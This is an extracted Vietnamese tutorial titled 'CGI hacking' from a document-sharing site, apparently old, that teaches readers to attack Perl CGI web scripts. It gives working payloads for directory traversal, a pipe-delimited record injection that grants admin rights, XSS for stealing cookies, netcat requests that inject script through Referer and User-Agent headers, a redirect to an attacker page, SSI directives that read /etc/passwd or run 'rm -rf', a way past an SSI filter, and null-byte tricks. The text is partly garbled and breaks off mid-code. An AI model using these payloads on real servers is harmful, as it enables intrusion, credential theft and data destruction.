1. Trang chủ
  2. » Công Nghệ Thông Tin

Thủ thuật sử dụng máy tính: Tiêu đề: CGI hacking

30 7 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 30
Dung lượng 188,23 KB

Nội dung

Tham khảo tài liệu ''thủ thuật sử dụng máy tính: tiêu đề: cgi hacking'', công nghệ thông tin, hệ điều hành phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả

Tiêu đề: CGI hacking CGI hacking Hiện ứng dụng WEB dùng CGI nhiều,nó trở nên phổ biến hacker quan tâm không lổi bảo mật tìm thấy Bạn muốn hack web sữ dụng CGI bạn phải biết chút ngơn ngữ PERL.Nếu bạn khơng biết PERL tơi khun bạn nên tìm sách nói PERL mà đọc,điều khơng khó bạn Trước tiên ta xem cách thức làm việt GET POST nào: GET: GET phương pháp mặt định để đệ trình form,tuy phương pháp mặt định có vấn đề với việt sữ dụng GET.Phương pháp thêm thông tin chứa form vào chuổi vấn tin URL(,nếu URL dài chương trình tự động xén bớt nên gây đệ trình khơng xác.Thơng tin đực lấy từ biến mơi trường $ENV{'QUERY_STRING'} ví dụ: #script.cgi?sometext #sẽ là: $file = 'sometext' $file = $ENV{'QUERY_STRING'}; #script.cgi?some&text #sẽ là: $name = 'some' and $file = 'text' ($name, $file) = split(/&/, $ENV{'QUERY_STRING'}); (chú ý:Tơi khun bạn biết chút PERL cho dù bạn khơng lập trình PERL,và điển hình viết bạn hiểu ví dụ lệnh split() làm ) Và nhiều biến sau: @pair = split(/&/, $ENV{'QUERY_STRING'}); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); #used to make + into spaces $value =~ tr/+/ /; #used to convert url encoding (hex) to ascii : $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $FORM{$name} = $value; #script.cgi?name=some&file=text #sẽ là: $FORM{'name'} = 'some' and $FORM{'file'} = 'text' } Trên ví dụ đơn giản phương thức GET.và HTTP có dạng sau: GET /script.cgi?some&text HTTP/1.0 POST: POST phương pháp thư hai dùng để đẹ trình form đươc sữ dụng rộng rải nhất,vì không hạn chế lượng liệu truyền đến server.Để đọc liệu truyền đến server,trước tiên bạn phải xác định chiều dài nó,và thực điều cách qua iến mơi trường CONTENT_LENGTH sau bạn đọc số byte xác biến khác,chuổi mã hố URL bạn cần phân tích giải mã nó.Đây ví dụ HTML "submit" form với hai biến "name" "file": Và tất cã form liệu đặt trong:into $FORM{'name-offield'} đọc POST data: $buffer read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); #used to make + into spaces $value =~ tr/+/ /; #used to convert url encoding (hex) to ascii $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; #this would set $FORM{'name'} = whatever the user put in the text field #and $FORM{'file'} to profile.txt $FORM{$name} = $value; } Làm việc POST phần giống GET bạn sữ dụng hàm read() để đọc vào STDIN send phần liệu chứa phương thức POST.CONTENT _LENGTH dùng để gọi script để đọc liệu,nó bao gồm phương thức POST.Một số script sữ dụng phưong thức có dạng sau: >đây phần ẩn mã nguồn URL mà hacker muốn xem khơng khó,khi anh phát code có dạng đổi lại sau: Và nhấn nút "submit" liệu phuơng thức POST gởi yêu cầu tới HTTP requery,vậy bạn có file passwd,thậm chí dùng telnet lấy được.Đây phương pháp dể dàng để lấy liệu quan server qua vùng ẩn html.Có nghĩa bạn bypass loại clien side security,chẵng hạn java script check,http_referrer value,form html Đừng trông chờ vào liệu đươc chuyển đến qua phương thức POST bạn có liệu từ GET,và thay đổi attacker họ đọc liệu bạn từ HTTP RFC ví dụ dùng telnet: POST /script.cgi HTTP/1.0 Content-Length: 23 Content-Type: application/x-www-form-urlencoded value=blah&another=bleh POST GET hai phương thức giúp nhiều cho hacker khai thác thông tin hệ thống modul quan trọng CGI có lợi nhiều CGI: CGI tiêu chuẩn để tạo chương trình ngoại chẵng hạn script perl với HTTP server,các thuật ngữ "common" "gateway" ám biến quy ước thông thường dùng để truyền thông tin qua lại HTTP server.CGI cho phép bạn sữ dụng chương trình tuỳ biến để định dạng xữ lý liệu xuất sang trình duyệt.Mổi lần người dùng yêu cầu URL tương ứng với Script CGI,WEB server viện dẩn chương trình,truyền dẩn thơng tìn từ trình duyệt đến script.Thông tin bao gồm header HTTP khác gởi từ trình duyệt yêu cầu thông tin từ truyền với URL chẵn hạn thơng tin chuổi query.Sau script CGI đọc xữ lý đưa đáp ứng thích hợp với thơng tin : xem ví dụ: #$value is a new CGI $value=CGI->new(); $file = $value->param('file'); #script.cgi?name=some&file=text $name = $value->param('name'); #would make $name = 'some' and $file = 'text' COOKIE: Chắc tơi khỏi nói bạn biết ENV: AUTH_TYPE:Kiểu xác thực dùng để hiệu lực hố người dùng CONTENT_LENGTH:Kích cở nội dung file cho CONTENT_TYPE:Loại nội dung mà liệu gởi CATEWAY_INTERFACE:Phiên CGI mà server hổ trợ HTTP_ACCEPT:Loại MINE mà trình duyệt chấp nhận cho yêu cầu HTTP_USER_AGENT:Tên hoàn chỉnh nhận dạng cảu trình duyệt PATH_INFO:Thơng tin đường dẩn PATH_TRANSLATED:PATH_INFO biên dịch QUERY_STRING:Bất kỳ text sau '?' REMOTE_ADDR:Địa IP trình duyệt yêu cầu REMOTE_HOST:Máy chủ trình duyệt thực yêu cầu REQUEST_METHOD:Phương pháp dùng đạt yêu cầu chẵn hạn GET hay POST SCRIPT_NAME:Đường dẩn đến script thực thi SERVER_NAME:Tên máy chủ server SERVER_PORT:Cổng mà máy chủ liên lạc SERVER_PROTOCOL:Giao thức phiên sữ dụng câu trã lời server SERVER_SOLLTWARE:Tên phiên phần mềm server Từ nảy đến bạn đọc toàn kiến thức giao thức truyền thông tin qua GET POST với HTTP Ta đến phần quan trọng ứng dụng lổi script CGI việc hack Reverse Directory Transversal Bây tận dụng tổn thương CGI bạn biết UNIX PERL khơng thể tìm lổ hổng ứng dụng này,bây ta ý đến thuật ngữ:"Reverse Directory Transversal" làm liên tưỡng đến dấu " /" nói hầu hết bạn biết tác dụng dấu nên khơng cần nói nhiều làm mà ta đặt câu hỏi lại sữ dụng dấu này?Vâng thưa bạn tơi nói cho bạn biết dịng chữ sau.Dấu cho phép đoc,ghi,xoá thi hành file server bị tổn thương.Đây cú pháp hàm open()ví dụ) open(FILE, "/home/user/file.txt"); or $this = '/home/user/file.txt'; open(FILE, "$this"); Cã hai có chung mục đích mở file file.txt,chúng ta thấy khơng có sơ hở cho việc công từ xa hacker.Và thữ nhìn đoạn code vuln.cgi sau: $this = $ENV{'QUERY_STRING'}; #gets the user input into $this open(FILE, "$this"); print "\n"; #loop through all the messages foreach $msg (@messages) { #split the database fields up ($name, $mail, $message) = split(/\|/, $msg); print "message by: $name\n"; print "\n$message\n\n"; } print ""; Không có lọc liệu dầu vào code này.nên bạn dùng sau để làm tràn: flood|flood|flood\nflood|flood|flood\nflood|flood|flood\nflood|flood|flood\ n thật nhiều vào Với đoạn code ta khơng nhìn thấy đe doạ lớn đến với hệ thống nhìn số server code ẩu có dạng sau:dữ liệu vào:'username|password|visits|user-agent|admin|ipaddress' vùng admin user admin user bình thường.Vậy nhìn cho liệu đầu vào sau: b0iler|a|1|linux|1|127.0.0.1| OK tương đương user name b0iler,visit 1,user-agent linux,*admin to 1*,ipaddress 127.0.0.1 với lổi user bình thường login vào hệ thống với quyền root,thơng thường trường user name pass lọc với user-agent referer khơng lọc hacker chèn đoạn mã lệnh nguy hiểm vào hệ thống server bị tổn thương Cross Site scripting: XSS bạn nghe đến nhiều viết MASK rỏ nên không muốn viết lại nữa,nhưng ỡ viêt lổ hổng CGI CGI bị lổi XSS nên nói sơ qua mong baạnthơng cảm,xem ví dụ: http://vuln.com/script.cgi?display=< script type=text/javascript>alert('hello');< /script> script.cgi code perl mà dùng để xem liệu vùng input trã clien side trìhn duyệt,và có nghĩa đoạn code < script type=text/javascript>alert('hello');< /script> chạy trình duyệt bạn.Và với code js mà bạn biết bạn khai thác cách hiệu điển hình lấy cookie(bánh quy) truy cập vào URL chứa user name,passwd,sessionid số thông tin nhạy cảm nhất.Bạn thay đổi user site bạn submit data đê script thi hành gây tổn hại đến server del email,thay đổi email,send email,add admin vào database thứ bạn muốn bạn truy cập vào hệ thống với quyền tối cao.Đây đoạn code CGI có vấn đề: use CGI; #$input is a new CGI $input=CGI->new(); $email = $input->param('email'); #checks for valid email address: something@something.com if($email !~ /^(\S+)\@(\S+).(\S+)/) { #prints $email to html, totally unfiltered &printhtml("error: $email is not a valid email address"); } else { &processemail("$email"); } Bạn đưa thơng tin ví dụ < script type=text/javascript> alert(hello);< /script> vào email address error message gởi tới clien đoạn mã js chạy trình duyệt hacker.Và ví dụ lổi tơi khơng cần đưa lên box bảo mật có nhiều lổi nói XSS bạn tìm khai thác chúng =>tăng thêm kỹ hack bạn Và tơi nói thêm việc chèn code js viêc cơng qua cổng 80 xem ví dụ số cách công sau: Thữ chèn đoạn mã JS vào "Referer": C:\>nc 127.0.0.3 80 HEAD / HTTP/1.0 Referer: < script>alert('document.domain='+document.domain)< /script> HTTPd Response HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Content-Location: http://127.0.0.3/Default.htm Content-Type: text/html Content-Length: 4325 Chèn vào default.asp: C:\> nc 127.0.0.3 80 HEAD /default< script>alert("Cheers world!")< /script>.asp HTTP/1.0 #Software: Microsoft Internet Information Server 4.0 #Version: 1.0 #Date: 2002-06-17 16:26:50 #Fields: time c-ip cs-method cs-uri-stem sc-status 16:26:50 127.0.0.3 HEAD /Default.htm 200 16:27:04 127.0.0.3 HEAD /default< script>alert("Cheers world!")< /script>.asp 200 16:41:15 127.0.0.3 GET /default.asp 200 Những script mà attacker sữ dung: HEAD< script SRC="c:\boot.ini">< /script> / HTTP/1.0 HEAD /default.asp HTTP/1.0 GET /< script>window.location="http://www.bad.com/bad.htm";< /script>home.htm HTTP/1.0 GET /default.asp Tiếp tục: C:\>nc 127.0.0.3 80 HEAD /Default.asp HTTP/1.0 User-Agent: nc 127.0.0.3 80 HEAD /Default.asp HTTP/1.0 User-Agent: a.WriteLine("Here an attacker would") Referer: a.WriteLine("build a file o-n the HTTPd") C:\>nc 127.0.0.3 80 HEAD /Default.asp HTTP/1.0 User-Agent: a.WriteLine("of any type and content, including") Referer: a.WriteLine("a binary, a script, a batch file ") C:\>nc 127.0.0.3 80 HEAD /Default.asp HTTP/1.0 User-Agent: a.Close %> Và: C:>\nc 127.0.0.3 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Content-Location: http://127.0.0.3/Default.htm Content-Type: text/html Accept-Ranges: bytes Content-Length: 4325 C:>\nc 127.0.0.3 80 HEAD /default.asp HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Content-Location: http://127.0.0.3/Default.htm Content-Type: text/html Accept-Ranges: bytes Content-Length: 4325 C:>\nc 127.0.0.3 80 HEAD /default.asp< script>alert("Cheers world!")< /script> HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Content-Location: http://127.0.0.3/Default.htm Content-Type: text/html Accept-Ranges: bytes Content-Length: 4325 Chú ý:những đoạn code ví dụ bạn phải linh hoạt qúa trình xâm nhập SSI: Chắc bạn nghe qua SSI SSI thật thưa bạn tơi nói giống #include file ->trong C/C++ hay hàm requery() include() PHP dùng cho SHTML(có nghĩa file có shtml) vây cú pháp sau: ==>đưa thông tin file /etc/passwd trình duyệt ==>thi hành lệnh sau exec 'rm -rf /home/you/www' Đây code CGI:(ví dụ) @pairs = split(/&/, $ENV{'QUERY_STRING'}); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $value =~ s///g; $FORM{$name} = $value; } Hãy nhìn $value =~ s///g;nó lọc SSI,và bạn dùng SSI khơng làm việc.Chúng ta nhìn đoan code sau: " $username $email $message " Vậy bạn vào phần input trường user name ví dụ thi hành lệnh ls.Lọc liệu phần quan trọng úng dụng PERL Script,nhưng hacker ln tìm khe hở để qua mặt hệ thống xem ví dụ sau: $value =~ s///g; đoạn code lọc SSI với nhìn đoạn SSI sau: - #include file="/etc/passwd" > đoạn khơng làm việc perl tìm cuối ta sữa đổi lại chút sau: - #include file="/etc/passwd" --> Làm việc cách ngon lành khơng tìm thấy ta lừa hệ thống cách ngoạn mục Vậy học gì: Muốn cơng hệ thống ta phải hiểu hệ thống có cấu trúc làm việc sao,ở ứng dụng CGI dùng perl script ta phải hiểu cách thức làm việc perl khai thác Bây bạn thấy hiểm hoạ to lớn từ SSI hi vọng bạn quan tâm đến hệ thống để tránh công hacker NULL Byte: Vấn đề nằm \0 (00 hex) NULL Byte,perl nhìn NULL Byte ký tụe NULL C khơng vậy,chúng ta vượt rào ngăn cản hệ thống thơng qua hàm hệ thống open(),exec() Để dể hiểu xem ví dụ sau: #get input and put it into $file $file = $ENV{'QUERY_STRING'}; #convert url encoding to ASCII (%00 will become the NULL Byte) $file =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $filename = '/home/user/' $file '.txt'; open(FILE, "

Ngày đăng: 20/05/2021, 04:18

w